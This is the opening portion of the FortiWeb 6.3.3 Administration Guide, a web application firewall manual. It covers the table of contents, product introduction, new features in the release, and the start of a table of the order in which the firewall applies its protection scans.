FortiWeb 6.3.3 Administration Guide

FortiWeb Administration Guide
VERSION 6.3.3
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May 20, 2020

FortiWeb 6.3.3 Administration Guide
1st Edition
Change log 3
Change log
May 20, 2020 Initial release.
FortiWeb Administration Guide Fortinet Technologies Inc.

4
TABLE OF CONTENTS
Change log 3
Introduction 16
Architecture 18
Scope 18
What's new 20
New features 20
Enhancements 21
Key concepts 23
Workflow 23
Sequence of scans 25
IPv6 support 33
Solutions for specific web attacks 35
HTTP/HTTPS threats 35
DoS attacks 39
HTTP/2 support 40
HTTP sessions & security 42
FortiWeb sessions vs. web application sessions 44
Sessions & FortiWeb HA 46
FortiWeb high availability (HA) 48
Active-Passive HA 49
Standard Active-Active HA 49
High volume active-active HA 51
Administrative domains (ADOMs) 52
Defining ADOMs 53
Assigning administrators to an ADOM 55
How to use the web UI 55
System requirements 55
URL for access 56
Permissions 56
Maximum concurrent administrator sessions 59
Global web UI & CLI settings 59
Buttons, menus, & the displays 62
Shutdown 65
How to set up your FortiWeb 66
Appliance vs. VMware 66
Registering your FortiWeb 66
Planning the network topology 66
External load balancers: before or after? 67
How to choose the operation mode 70
Topology for Reverse Proxy mode 74
Topology for either of the transparent modes 77
Topology for Offline Protection mode 78
Topology for WCCP mode 80

5
Topologies for high availability (HA) clustering 80

Connecting to the web UI or CLI 84
Connecting to the web UI 84
Connecting to the CLI 86
Updating the firmware 89
Testing new firmware before installing it 90
Installing firmware 92
Installing alternate firmware 97
Changing the “admin” account password 101
Setting the system time & date 103
Setting the operation mode 105
Configuring High Availability (HA) basic settings 106
Basic settings 107
Configuring redundant interfaces in HA 112
Checking your HA topology information and statistics 113
HA heartbeat & active node election 114
Synchronization 116
Replicating the configuration without FortiWeb HA (external HA) 119
Configuring the network settings 124
To configure a network interface or bridge 124
Adding a gateway 142
Creating a policy route 146
Configuring DNS settings 150
Configuring HA settings specifically for active-passive and standard active-active modes 152
HA Static Route and Policy Route 152
Load-balancing algorithm 152
HA Health Check 153
Configuring HA settings specifically for high volume active-active mode 155
Allocating nodes 155
Creating traffic distribution 155
Defining your web servers & load balancers 160
Protected web servers vs. allowed/protected host names 160
Defining your protected/allowed HTTP “Host:” header names 160
Defining your web servers 163
Defining your proxies, clients, & X-headers 193
Defining your network services 198
Configuring virtual servers on your FortiWeb 199
Enabling or disabling traffic forwarding to your servers 200
Configuring FortiWeb to receive traffic via WCCP 201
Configuring the FortiWeb WCCP client settings 202
Viewing WCCP protocol information 204
Example: Using WCCP with FortiOS 5.2.x 204
Example: Using WCCP with FortiOS 5.4 206
Example: Using WCCP with multiple FortiWeb appliances 207
Example: Using WCCP with a Cisco router 209
Configuring basic policies 211
Example 1: Configuring a policy for HTTP 211
Example 2: Configuring a policy for HTTPS 212

6
Example 3: Configuring a policy for load balancing 212

Testing your installation 213
Reducing false positives 214
Testing for vulnerabilities & exposure 214
Expanding the initial configuration 215
Switching out of Offline Protection mode 215
Policies 217
How operation mode affects server policy behavior 217
Configuring the global object white list 218
Configuring a protection profile for inline topologies 223
Generating a protection profile using scanner reports 229
WhiteHat Sentinel scanner report requirements 229
Telefónica FAAST scanner report requirements 230
HP WebInspect scanner report requirements 231
Configuring a protection profile for an out-of-band topology or asynchronous mode of
operation 233
Client management 237
How client management works 238
Configuring threat weight 238
Configuring client management 240
Configuring an HTTP server policy 242
HTTP pipelining 254
Multiplexing client connections 256
Enabling or disabling a policy 256
Configuring traffic mirror 257
Enabling traffic mirror 257
Creating a traffic mirror rule 257
Configuring a traffic mirror policy 258
Configuring FTP security 259
Enabling FTP security 259
Creating an FTP command restriction rule 260
Creating an FTP file check rule 261
Configuring an FTP security inline profile 263
Before creating an FTP security inline profile 264
Creating an FTP server pool 265
Creating an FTP server policy 269
Before creating an FTP server policy 269
Enabling or disabling a policy 272
ADFS Proxy 274
FortiWeb as an ADFS proxy 274
The workflow of the ADFS authentication process 275

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Configuring FortiWeb as an ADFS proxy 277

Configuring a virtual server 278
Creating an ADFS server pool 279
Uploading trusted CA certificates 283
Creating an ADFS server policy 285
Troubleshooting 288
FortiView 289
Interface 290
Topology 296
Single Server/Server Pool 296
Content Routing 298
Security 301
Countries 301
Threats 304
Server Policies 306
Threat Map 308
Bot Analysis 310
Scanner Integration 310
Traffic 313
Sources 313
Countries 315
Sessions 317
Sources 317
Policies 319
Ending sessions 321
Backups 322
Restoring a previous configuration 325
Debug log 326
Administrators 328
Configuring access profiles 331
Grouping remote authentication queries and certificates for administrators 333
Changing an administrator’s password 334
Certificate-based Web UI login 334
Users 337
Authentication styles 337
Via the “Authorization:” header in the HTTP/HTTPS protocol 337
Via forms embedded in the HTML 338
Via a personal certificate 340
Offloading HTTP authentication & authorization 340
Configuring local end-user accounts 342
Configuring queries for remote end-user accounts 343
Grouping users 354
Applying user groups to an authorization realm 355
Single sign-on (SSO) (site publishing) 359
Two-factor authentication 360

8
RSA SecurID authentication 360

Changing user passwords at login 361
Using Kerberos authentication delegation 361
Offloaded authentication and optional SSO configuration 365
To create an Active Directory (AD) user for FortiWeb 373
Example: Enforcing complex passwords 379
Tracking users 380
Secure connections (SSL/TLS) 386
Offloading vs. inspection 386
Supported cipher suites & protocol versions 388
SSL offloading cipher suites and protocols (Reverse Proxy and True Transparent
Proxy) 389
SSL inspection cipher suites and protocols (offline and Transparent Inspection) 392
Grouping trusted CA certificates 395
How to offload or inspect HTTPS 396
Using session keys provided by an HSM 397
Generating a certificate signing request 399
Uploading a server certificate 402
Forcing clients to use HTTPS 409
HTTP Public Key Pinning 410
How to apply PKI client authentication (personal certificates) 411
Example: Generating & downloading a personal certificate from
Microsoft Windows 2003 Server 416
Example: Downloading the CA’s certificate from Microsoft Windows 2003 Server 418
Example: Importing the personal certificate & private key to a client’s trust store on
Microsoft Windows 7 418
Uploading the CA’s certificate to FortiWeb’s trusted CA store 421
Configuring FortiWeb to validate client certificates 421
Configure FortiWeb to validate server certificates 423
Use URLs to determine whether a client is required to present a certificate 424
Using XML client certificates and server certificates for WS-Security rule 425
Seamless PKI integration 427
Revoking certificates 430
How to export/back up certificates & private keys 431
How to change FortiWeb's default certificate 431
Configuring OCSP stapling 432
Access control 433
Restricting access to specific URLs 433
Combination access control & rate limiting 437
Blacklisting & whitelisting clients 442
Blacklisting source IPs with poor reputation 442
Blacklisting & whitelisting countries & regions 445
Blacklisting & whitelisting clients using a source IP or source IP range 447
Blacklisting known bots 449
Protecting against cookie poisoning and other cookie-based attacks 450

9
Cross-Origin Resource Sharing (CORS) protection 453

Configuring allowed origin 453
Configuring CORS protection rule 454
Configuring CORS protection policy 456
URL encryption 457
Blocking known attacks & data leaks 461
Connecting to FortiGuard services 469
Choosing the virus signature database & decompression buffer 472
Accessing FortiGuard via a proxy 473
How often does Fortinet provide FortiGuard updates for FortiWeb? 474
Scheduling automatic signature updates 475
Manually initiating update requests 477
Uploading signature & geography-to-IP updates 478
Enforcing new FortiGuard signature updates 479
Receiving quarantined source IP addresses from FortiGate 480
False Positive Mitigation for SQL Injection signatures 481
Syntax-based SQL/XSS injection detection 482
Syntax-based SQL injection detection 482
Syntax-based XSS injection detection 484
Configure Syntax Based SQL/XSS Injection detection policies 488
Configuring exceptions for syntax-based SQL/XSS injection attack types 489
Example: Concatenating exceptions 492
Configuring action overrides or exceptions to data leak & attack detection signatures 493
Example: Concatenating exceptions 498
Filtering signatures 499
Defining custom data leak & attack signatures 499
Example: ASP .Net version & other multiple server detail leaks 503
Example: Zero-day XSS 505
Example: Local file inclusion fingerprinting via Joomla 507
Defeating cipher padding attacks on individually encrypted inputs 508
Defeating cross-site request forgery (CSRF) attacks 511
Addressing security vulnerabilities by HTTP Security Headers 515
Preventing zero-day attacks 519
Validating parameters (“input rules”) 519
Bulk changes to input validation rules 524
Preventing tampering with hidden inputs 524
Specifying allowed HTTP methods 529
Configuring allowed method exceptions 530
HTTP/HTTPS protocol constraints 532
Configuring HTTP protocol constraint exceptions 540
WebSocket protocol 545
Creating WebSocket security rules 545
Creating WebSocket security policies 547
Protection for Man-in-the-Browser (MiTB) attacks 549
Creating Man in the Browser (MiTB) Protection Rule 551
Creating an MiTB protection rule 551

10
Protecting the standard user input field 553

Protecting the passwords 554
Adding white list for the AJAX Request 555
Creating Man in the Browser (MiTB) Protection Policy 555
Protection for APIs 556
Configuring JSON protection 556
Importing JSON schema files 556
Creating JSON protection rules 557
Creating JSON protection policy 560
Configuring XML protection 561
Importing XML schema files 561
Creating XML protection rules 562
Creating XML protection policies 566
Importing WSDL files 567
Configuring exempted URLs 568
Configuring attack logs to retain packet payloads for XML protection 569
Creating WS-Security rules 570
OpenAPI Validation 573
Use cases 574
Creating OpenAPI files 583
Creating OpenAPI validation policies 586
Configuring mobile API protection 588
API gateway 591
Managing API users 591
Configuring API gateway policy 592
Configuring API gateway rules 593
Limiting file uploads 597
Restricting uploads by file type and size 597
Using FortiSandbox to evaluate uploaded files 597
Using ICAP server to detect threats 599
Configuring a file security rule 600
Creating a file security policy 601
Anti-defacement 605
Specifying files that anti-defacement does not monitor 609
Accepting or reverting changed files 610
Reverting a defaced website 610
Rate limiting 612
DoS prevention 612
Configuring application-layer DoS protection 612
Configuring network-layer DoS protection 621
Grouping DoS protection rules 624
Preventing slow and low attacks 625
Configuring protection rules for slow and low attacks 625
Rewriting & redirecting 628
Example: HTTP-to-HTTPS redirect 633
Example: Full host name/URL translation 636

11
Example: Sanitizing poisoned HTML 638

Example: Inserting & deleting body text 641
Example: Rewriting URLs using regular expressions 642
Example: Rewriting URLs using variables 642
Caching 644
What can be cached? 647
Compression 648
Configuring compression exemptions 648
Configuring compression offloading 649
Acceleration 652
Compliance 655
Database security 655
Authorization 656
Preventing data leaks 656
Vulnerability scans 656
Preparing for the vulnerability scan 657
Scheduling web vulnerability scans 658
Configuring vulnerability scan profiles 659
Running vulnerability scans 662
Viewing/downloading vulnerability scan reports 664
Advanced/optional system settings 666
Changing the FortiWeb appliance’s host name 666
Fail-to-wire for power loss/reboots 667
Customizing error and authentication pages (replacement messages) 668
Configuring an error or authentication page 668
Pre-login disclaimer message 669
Attack block page HTTP response codes 669
Macros in custom error and authentication pages 669
Customizing the message returned for LDAP errors (%%REPLY_TAG%% macro) 671
Configuring the integrated firewall 671
Network address translation (NAT) 675
Advanced settings 677
Example: Setting a separate rate limit for shared Internet connections 679
Monitoring your system 681
Status dashboard 681
System Information widget 683
FortiGuard Information widget 684
System Resources widget 688
Attack Log widget 689
HTTP Throughput Monitor widget 689
HTTP Hit History widget 690
Attack Event History widget 691
Event Log Console widget 694
Policy Sessions widget 694
Operation widget 695

12
Policy Status dashboard 696

Health Check Status 696
Session Count 697
RAID level & disk statuses 697
Logging 698
About logs & logging 698
Configuring logging 700
Viewing log messages 718
Coalescing similar attack log messages 723
Alert email 724
Configuring email settings 725
Configuring alert email for event logs 727
SNMP traps & queries 727
Configuring an SNMP community 729
MIB support 731
Reports 732
Customizing the report’s headers, footers, & logo 734
Restricting the report’s scope 735
Choosing the type & format of a report profile 737
Scheduling reports 738
Selecting the report’s file type & delivery options 739
Viewing & downloading generated reports 740
Blocked users 741
Monitoring currently blocked IPs 742
Monitoring currently tracked clients 743
FortiGuard updates 744
Vulnerability scans 744
Bot mitigation 745
Configuring threshold based detection 745
Configuring biometrics based detection 750
Configuring bot deception 752
Configuring known bots 754
Configuring bot mitigation policy 756
Machine learning 758
Enabling machine learning policy 759
Configuring anomaly detection policy 760
Allow sample collection for domains 763
IP List Type and Source IP list 764
Configuring machine-learning templates 764
Viewing domain data 768
Viewing anomaly detection log 775
Configuring bot detection profiles 780
Basic Concepts 780
Creating bot detection profiles 780
Limit sample collection from IPs 785
Exception URLs 786

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Viewing bot detection model status 787

Viewing the bot detection violations 789
Fine-tuning & best practices 791
Hardening security 791
Topology 791
Administrator access 792
User access 795
Signatures & patches 796
Buffer hardening 796
Enforcing valid, applicable HTTP 798
Sanitizing HTML application inputs 798
Improving performance 798
System performance 798
Antivirus performance 798
Regular expression performance tips 799
Logging performance 800
Report performance 800
Vulnerability scan performance 801
Packet capture performance 801
TCP transmission performance tuning 801
Improving fault tolerance 802
Alerting the SNMP manager when HA switches the primary appliance 802
Reducing false positives 802
Regular backups 806
Downloading logs in RAM before shutdown or reboot 807
Downloading logs in RAM before shutdown or reboot 807
Troubleshooting 808
Frequently asked questions 808
How do I recover the password of the admin account? 810
What is the maximum number of ADOMs I can create? 810
How do I upload and validate a license for FortiWeb-VM? 810
How do I troubleshoot a high availability (HA) problem? 811
How do I upload a file to or download a file from FortiWeb? 813
Why did the FortiGuard service update fail? 814
Why is URL rewriting not working? 814
How do I create a custom signature that erases response packet content? 815
How do I reduce false positives and false negatives? 816
Why is FortiWeb not forwarding non-HTTP traffic (for example, RDP, FTP) to back-
end servers even though set ip-forward is enabled? 816
How do I prevent cross-site request forgery (CSRF or XSRF) with a custom rule? 817
Why does my Advanced Protection rule that has both Signature Violation and HTTP
Response Code filters not detect any violations? 817
What's the difference between the Packet Interval Timeout and Transaction Timeout
filters in an Advanced Protection rule? 818
What ID numbers do I use to specify a Signature Violation filter when I use the CLI to
create a custom access rule? 818
Why is the Signature Violation filter I added to my Advanced Protection custom rule not
working? 819

14
Why don't my back-end servers receive the virtual server IP address as the source IP? 819
Why do I not see HTTP traffic in the logs? 819
Why do I see HTTP traffic in the logs but not HTTPS traffic? 822
How do I store traffic log messages on the appliance hard disk? 822
Why is the most recent log message not displayed in the Aggregated Attack log? 823
How can I sniff FortiWeb packets (packet capture)? 824
How do I trace packet flow in FortiWeb? 824
Why is the number of cookies reported in my attack log message different from the
number of cookies that message detail displays? 825
Why does the attack log message display the virtual server IP address as the
destination IP instead of the IP address of the back-end server that was the target of
the attack? 825
How do I detect which cipher suite is used for HTTPS connections? 825
How can I strengthen my SSL configuration? 825
Why can’t a browser connect securely to my back-end server? 826
How do I use performance tests to determine maximum performance? 826
How can I measure the memory usage of individual processes? 827
How can I use IPMI to shut down or power on FortiWeb remotely? 827
How do I reformat the boot device (flash drive) when I restore or upgrade the firmware?828
How do I set up RAID for a replacement hard disk? 828
Tools 829
Ping & traceroute 829
Log messages 830
Diff 830
Packet capture 831
Diagnostic commands in the CLI 836
Retrieving debug logs 836
How to troubleshoot 837
Establishing a system baseline 837
Determining the source of the problem 837
Planning & access privileges 838
Solutions by issue type 838
Connectivity issues 839
Resource issues 850
Login issues 852
Data storage issues 854
Bootup issues 854
Issues forwarding non-HTTP/HTTPS traffic 858
Resetting the configuration 858
Restoring firmware (“clean install”) 859
Appendix A: Port numbers 862
Appendix B: Maximum configuration values 865
Maximum values on FortiWeb-VM 876
Appendix C: Supported RFCs, W3C, & IEEE standards 877
RFCs 877
W3C standards 878
IEEE standards 879

15
Appendix D: Regular expressions 880

Regular expression syntax 880
What are back-references? 885
Cookbook regular expressions 886
Language support 888
Appendix E: How to purchase and renew FortiGuard licenses 890

Introduction 16
Introduction
FortiWeb is a web application firewall (WAF) that protects hosted web applications from attacks that target known and
unknown exploits. Using multi-layered and correlated detection methods, FortiWeb defends applications from known
vulnerabilities and zero-day threats. The Web Application Security Service from FortiGuard Labs uses information
based on the latest application vulnerabilities, bots, suspicious URL and data patterns, and specialized heuristic
detection engines to keep your applications safe.
FortiWeb also offers a machine-learning function that enables it to automatically detect malicious web traffic. In
addition to detecting known attacks, the feature can detect potential unknown zero-day attacks to provide real-time
protection for web servers.
FortiWeb allows you to configure these features:
l Vulnerability scanning and patching
l IP reputation, web application attack signatures, credential stuffing defense, anti-virus, and FortiSandbox Cloud
powered by FortiGuard
l Real-time attack insights and reporting with advanced visual analytics tools
l Integration with FortiGate and FortiSandbox for ATP detection
l Behavioral attack detection
l Advanced false positive and negative detection avoidance
FortiWeb hardware and virtual machine platforms are available for medium and large enterprises, as well as for service
providers.
Benefits
FortiWeb is designed specifically to protect web servers. It provides specialized application layer threat detection and
protection for HTTP and HTTPS services, including:
l Apache Tomcat
l nginx
l Microsoft IIS
l JBoss
l IBM Lotus Domino
l Microsoft SharePoint
l Microsoft Outlook Web App (OWA)
l RPC and ActiveSync for Microsoft Exchange Server
l Joomla
l WordPress
FortiWeb’s integrated web-specific vulnerability scanner drastically reduces challenges associated with protecting
regulated and confidential data by detecting your exposure to the latest threats, especially the OWASP Top 10
(https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project).
FortiWeb’s HTTP firewall and denial-of-service (DoS) attack-prevention protects your web applications from attack.
Using advanced techniques to provide bidirectional protection against sophisticated threats like SQL injection and cross-
site scripting (XSS) attacks, FortiWeb also helps you defend against threats like identity theft, financial fraud, and
corporate espionage.

Introduction 17
FortiWeb provides the tools you need to monitor and enforce government regulations, industry best practices, and
internal security policies, including firewalling and patching requirements from PCI DSS
(https://www.pcisecuritystandards.org/security_standards/getting_started.php).
FortiWeb’s application-aware firewall and load balancing engine can:
l Secure HTTP/HTTPS applications.
l Prevent and reverse defacement.
l Improve application stability.
l Monitor servers for downtime & connection load.
l Reduces response times.
l Accelerate SSL/TLS. *
l Accelerate compression.
l Rewrite content on the fly.
* On VM models, acceleration is due to offloading the cryptography burden from the back-end server. On hardware
models, cryptography is also hardware-accelerated via ASIC chips.
FortiWeb significantly reduces deployment costs by consolidating WAF, hardware acceleration, load balancing, and
vulnerability scanning in a single platform with no per-user pricing. These features:
l Reduce the total resources required to protect your regulated, Internet-facing data.
l Ease the challenges associated with policy enforcement and regulatory compliance.

Introduction 18
Architecture
Client Administrator
Switch
FortiGate
FortiWeb
Protected Web
Servers
FortiWeb can be deployed in a one-arm topology, but is more commonly positioned inline to intercept all incoming client
connections and redistribute them to your servers. FortiWeb has TCP- and HTTP-specific firewalling capabilities.
Because it's not designed to provide security to non-HTTP/HTTPS web applications, it should be deployed behind a
firewall such as FortiGate that focuses on security for other protocols, including FTP and SSH.
Once FortiWeb is deployed, you can configure it from a web browser or terminal emulator on your management
computer.
Scope
This document describes how to set up and configure FortiWeb. It provides instructions to complete first-time system
deployment, including planning the network topology, and ongoing maintenance.
It also describes how to use the web user interface (web UI), and contains lists of default utilized port numbers,
configuration limits, and supported standards.
If you are using FortiWeb-VM, this document assumes that you have already followed the instructions in the FortiWeb-
VM Install Guide:
http://docs.fortinet.com/fortiweb/hardware
After completing How to set up your FortiWeb on page 66, you will have:

Introduction 19
l Administrative access to the web UI and/or CLI.

l Completed firmware updates, if any.
l Configured the system time, DNS settings, administrator password, and network interfaces will be configured.
l Set the operation mode.
l Configured basic logging.
l Created at least one server policy.
You can use the rest of this document to:
l Update the FortiWeb appliance.
l Reconfigure features.
l Use advanced features, such as anti-defacement.
l Diagnose problems.
This document does not provide a reference for the CLI. For that information, see FortiWeb CLI Reference.
This document is intended for system administrators, not end users. If you are accessing a website protected by
FortiWeb and have questions, please contact your system administrator.

What's new 20
What's new
New features
Introducing Deep Learning

As part of Machine Learning for Anomaly Detection, FortiWeb now builds mathematical models with fewer samples but
continues to collect samples and optimize the mathematical models as more samples are collected overtime. This
allows FortiWeb to provide protection much faster and to enhance accuracy over time.
For more information, see Configuring anomaly detection policy on page 760
New XSS Syntax Based Detection module
l XSS Syntax Based Detection is introduced to detect XSS injection attacks by analyzing the HTML/JavaScript
syntax.
l SQL Injection (Syntax Based Detection) is moved from Web Protection > Signatures to Web Protection >
Advanced Protection > SQL/XSS Syntax Based Detection.
For more information, see Syntax-based SQL/XSS injection detection on page 482.
Client management
Client management allows to track a client by either the recognized cookie or the source IP. When a client violates a
WAF rule, FortiWeb accumulates the threat score based on the configured threat weight value, and takes actions
accordingly. This feature replaces Device Tracking, Device Reputation, and Client Device Management.
For more information, see Client management on page 237.
Bad Robot and Known Search Engines integrated to Known Bots for better bot management
l Bad Robot is removed from the main signature class in Web Protection > Known Attacks > Signatures.
l Known Search Engines is removed from Server Objects > Global and Policy > Web Protection Profile.
l Both the modules are integrated into Bot Mitigation > Known Bots.
For more information, see Configuring known bots on page 754.
New AJAX block page for AJAX requests
You can now enable Replacement Message for AJAX requests in Config > Replacement Message > Replacement
Message.
For more information, see Configuring an error or authentication page on page 668.
Support for Cookieless clients in NTLM Delegation
The Site Publish module can now support NTLM delegation for cookieless clients.
For more information, see Offloaded authentication and optional SSO configuration on page 365
Additional information on Blocked IPs
A new "reason" column has been added in Monitor > Blocked IPs.
For more information, see Monitoring currently blocked IPs on page 742.
Parameter type in Global White List optimized

What's new 21
URL/Domain filters are added for parameter type in Global White List, allowing better granularity when certain
parameters need to bypass the security modules.
For more information, see Configuring the global object white list on page 218.
User tracking data shared across content routing rules
Web protection profiles using the same user tracking rules can share user tracking data now.
SameSite flag added in cookiesession1 to help prevent CSRF attacks
You can now assign a SameSite flag to internal cookies and set strict, lax or none value to define whether any request
from the third parties carries such cookies or not.
For more information, see server-policy policy.
Support for chunk encoded HTTP requests
FortiWeb can now parse the chunk encoded body in HTTP requests.
client-ip/server-ip support in diagnose debug flow filter module-detail
You can now specify a source and/or destination IP address to include or exclude module debug logs involving the
specified IP address.
For more information, see debug flow filter.
Enhancements
Login failure message optimization

"Failed to search user DN" and "Failed to bind LDAP server" login failure messages are replaced with generic "Failed to
login" message to avoid user enumeration attacks. You can view more login failure information in the event log.
Default block period value increase
The default value for "Period Block" is updated to 600 seconds to ensure higher security.
Bot Analysis moved to FortiView > Security
The Bot Analysis page is optimized to show detailed information on search engines and malicious bots.
For more information, see Bot Analysis on page 310.
Predefined policies in Custom Policy and Bot Mitigation Policy
l Predefined Bot Mitigation policies are added in Bot Mitigation Policy.
l Predefined Advanced Protection policy (alert only) is added in Custom Policy.
Device Tracking, Device Reputation, and Client Device Management removed
Device tracking related modules and configurations are removed from this release. Tracking is now done using the new
Client Management feature.
For more information, see Client management on page 237.
Least connection algorithm enhancement
When distributing new TCP connections to the server pool member, the Least Connection algorithm is enhanced to
avoid new connections always being processed by the same member.
Enhancements for Machine Learning Anomaly Detection

What's new 22
l You can re-admit a noisy sample to the legitimate sample pool.

l Threat Models have been optimized to reduce false positives.
l You can define an expiration time for patterns. All the samples related with the expired patterns will be cleared from
the database.
For more information, see Configuring anomaly detection policy on page 760
HA heartbeat enhancement
HA heartbeat is optimized to provide better stability and scalability.
Virtual IP limit lifted in high volume active-active HA mode
In addition to standalone, active-passive, standard active-active modes, now FortiWeb 1000E, 2000E, 3000E, 3010E,
and 4000E appliances in high volume active-active HA mode also support a maximum number of 6000 virtual IPs.
New regions support by FortiWeb Fabric Connectors for OCI platform
Fabric Connectors now support all available OCI regions.
Autoscaling enhancement on AWS
For the FortiWeb autoscaling solution on AWS, an elastic IP is now supported to access the master node.
Using templates to auto-deploy FortiWeb HA on AWS and Azure
FortiWeb HA group with up to eight members can be automatically deployed using templates on AWS and Azure.
Limiting access to specific source IP addresses
You can now define an Allow Only IP range in IP List to limit access to the application to specified IP addresses.
For more information, see Blacklisting & whitelisting clients on page 442.
FortiAnalyzer support for log export
Forwarding attack logs to FortiAnalyzer is now supported.
TCP buffer default value changed
The default value of tcp-buffer is changed to max.

Key concepts 23
Key concepts
This chapter defines basic FortiWeb concepts and terms.

If you are new to FortiWeb, or new to network security, this chapter can help you to quickly understand:
l Workflow on page 23
l Sequence of scans on page 25
l IPv6 support on page 33
l Solutions for specific web attacks on page 35
l HTTP/2 support on page 40
l HTTP sessions & security on page 42
l HA heartbeat & active node election on page 114
l Administrative domains (ADOMs) on page 52
l How to use the web UI on page 55
l Shutdown on page 65
Workflow
Begin with How to set up your FortiWeb on page 66 for your initial deployment. These instructions guide you to the point
where you have a simple working configuration.
Ongoing use is located in subsequent chapters, and includes instructions for processes including:
l Backing up FortiWeb
l Updating FortiWeb
l Configuring optional features
l Adjusting policies if:
l New attack signatures become available
l Requirements change
l Fine-tuning performance
l Periodic web vulnerability scans if required by your compliance regime
l Monitoring for defacement or focused, innovative attack attempts from advanced persistent threats (APTs)
l Monitoring for accidentally blacklisted client IPs
Because policies consolidate many protection components, you should configure policies after you've configured those
components.

Key concepts 24
This figure illustrates the general configuration process:
This figure illustrates the configuration process for setting up DoS protection:
1. Configure anti-DoS settings for each type:

l TCP connection floods (Limiting TCP connections per IP address on page 622)
l TCP SYN floods (Preventing a TCP SYN flood on page 624)
l HTTP floods (Preventing an HTTP request flood on page 619)
l HTTP access limits (Limiting the total HTTP request rate from an IP on page 613)
l Malicious IPs (TCP connection floods detected by session cookie instead of source IP address, which could be
shared by multiple clients; Limiting TCP connections per IP address by session cookie on page 616)
2. Group the settings together into a comprehensive anti-DoS policy (Grouping DoS protection rules on page 624).
3. Select the anti-DoS policy in a protection profile, and enable Configuring a protection profile for inline topologies
(Configuring a protection profile for inline topologies on page 223).
4. Select the protection profile in a server policy (Configuring an HTTP server policy on page 242).

Key concepts 25
Sequence of scans
FortiWeb applies protection rules and performs protection profile scans in the order of execution according to the below
table. To understand the scan sequence, read from the top of the table (the first scan/action) toward the bottom (the
last scan/action). Disabled scans are skipped.
You may find the actual scan sequence sometimes is different from what we list below in the scan sequence table.
There might be various reasons, for example, for the scans involving the whole request or response packet, its
sequence may vary depending on when the packet is fully transferred to FortiWeb. File Security is one of the scan
items that involve scanning the whole packet. FortiWeb scans Content-Type: and the body of the file for File
Security. While the Content-Type: is scanned instantly, the body of the file may be postponed after the subsequent
scans until the whole body of the file is done uploading to FortiWeb.
Please also note that when we talk about scan sequence, it refers to the sequence within the same packet. For
example, TCP Connection Number Limit precedes HTTP Request Limit in the scan sequence table. However, if
there are two packets containing HTTP traffic and TCP traffic respectively, and the HTTP packet arrives first, FortiWeb
thus checks the HTTP Connection Number Limit first.
To improve performance, block attackers using the earliest possible technique in the
execution sequence and/or the least memory-consuming technique. The blocking
style varies by feature and configuration. For example, when detecting Syntax-
based SQL/XSS injection, instead of blocking the SQL/XSS injection by its syntax,
you could log and block the injection by the black list defined in IP List. For details,
see each specific feature.
Execution sequence (web protection profile)
Scan/action Involves
Request from client to server

TCP Connection Number l Source IP address of the client in the IP layer.
Limit (TCP Flood Prevention) l Source port of the client in the TCP layer.
Add X-Forwarded-For: l X-Forwarded-For:

l X-Real-IP:
l X-Forwarded-Proto:
Client Management l Source IP address of the client depending on your configuration of
X-header rules.
This could be derived from either the SRC field in the IP header, or
the X-Forwarded-For: and X-Real-IP: HTTP headers. For
details, see Defining your proxies, clients, & X-headers on page 193.
l Cookie:
l Session state
IP List l Source IP address of the client depending on your configuration of

X-header rules. This could be derived from either the SRC field in the
IP header, or the X-Forwarded-For: and X-Real-IP: HTTP

Key concepts 26
headers. For details, see Defining your proxies, clients, & X-headers
on page 193.
l Source IP address of the client in the IP layer.
Note: If a source IP is white listed, subsequent checks will be skipped.
IP Reputation Source IP address of the client depending on your configuration of X-
header rules. This could be derived from either the SRC field in the IP
header, or the X-Forwarded-For: and X-Real-IP: HTTP headers.
For details, see Defining your proxies, clients, & X-headers on page 193.
Quarantined source IP Source IP address of the client in the IP layer.

addresses
Known Bots l Source IP address of the client depending on your configuration of
on page 193.
Geo IP l Source IP address of the client depending on your configuration of

on page 193.
WebSocket protocol l Host:

l URL in HTTP header
l Origin:
l Upgrade:
l Frame Size/Message Size
l sec-websocket-extenstions
Add HSTS Header Strict-Transport-Security:

Protected Server Check Host:
Allow Method l Host:

l Request method in HTTP header
Mobile Application Token header

Identification
HTTP Request Limit/sec l Source IP address of the client depending on your configuration of
(HTTP Flood Prevention) X-header rules. This could be derived from either the SRC field in the
on page 193.
l Cookie:

Key concepts 27
l Session state
l URL in the HTTP header
l HTTP request body
TCP Connection Number l Cookie:

Limit (Malicious IP) l Session state
l Source IP address of the client in the IP layer
l Source port of the client in the TCP layer
HTTP Request Limit/sec l ID field of the IP header

(Shared IP) (HTTP Access l Source IP address of the client depending on your configuration of
Limit) X-header rules.
This could be derived from either the SRC field in the IP header, or
the X-Forwarded-For: and X-Real-IP: HTTP headers. For
details, see Defining your proxies, clients, & X-headers on page 193.
l HTTP request body
HTTP Authentication Authorization:
Global Object White List l Cookie: cookiesession1

l URL if /favicon.ico, AJAX URL parameters such as __
LASTFOCUS, and others as updated by the FortiGuard Security
Service.
ADFS Proxy l Host:

l Other request headers, especially the X-MS-* headers
l Parameters in the URL
l Cookies
URL Access l Source IP address of the client depending on your configuration of

on page 193.
l Host:
l Source IP of the client in the IP header
Mobile API Protection l Host:

l Token header
Padding Oracle Protection l Source IP address of the client depending on your configuration of
on page 193.

Key concepts 28
l Host:
l Individually encrypted URL, cookie, or parameter
HTTP Protocol Constraints l Source IP address of the client depending on your configuration of
on page 193.
l Content-Length:
l Parameter length
l Body length
l Header length
l Header line length
l Count of Range: header lines
l Count of cookies
File Security l Source IP address of the client depending on your configuration of

on page 193.
l Content-Type: in PUT and POST requests
l The body of the file
Parameter Validation l Host:

l Name, data type, and length
Bot Deception l Host:

Machine Learning - Bot l Source IP address of the client depending on your configuration of
Detection X-header rules. This could be derived from either the SRC field in the
on page 193.
l Host:
l HTTP version
l Content-Type:
l Response status code
l Referer:
l User-Agent:
Cross-site request forgery l <a href>

Key concepts 29
(CSRF) attacks l <form>
Protection for Man-in-the- l Host:

Browser (MiTB) attacks l URL in HTTP header
l Parameters in URL
l Content-Type:
Biometrics Based Detection l Source IP address of the client depending on your configuration of
on page 193
l URL
l Host:
l X-Forwarded-For:
XML Protection l URL

l HTTP header
l Body
JSON Protection l URL

l HTTP header
l Body
Signatures l Source IP address of the client depending on your configuration of

on page 193.
l HTTP headers
l HTML Body
l Parameters in URL and request body
SQL/XSS Syntax Based l Host:

Detection l Cookie:
l Parameters in URL and request body
Site Publish l Host:

l Cookie:
l URL of the request for the web application
Hidden Fields Protection l Host:

l Name, data type, and length of <input type="hidden">
Custom Policy l Source IP address of the client depending on your configuration of

Key concepts 30
on page 193
l HTTP header
l Parameter in the URL, or the HTTP header or body
Threshold Based Detection l Source IP address of the client depending on your configuration of
on page 193
l URL
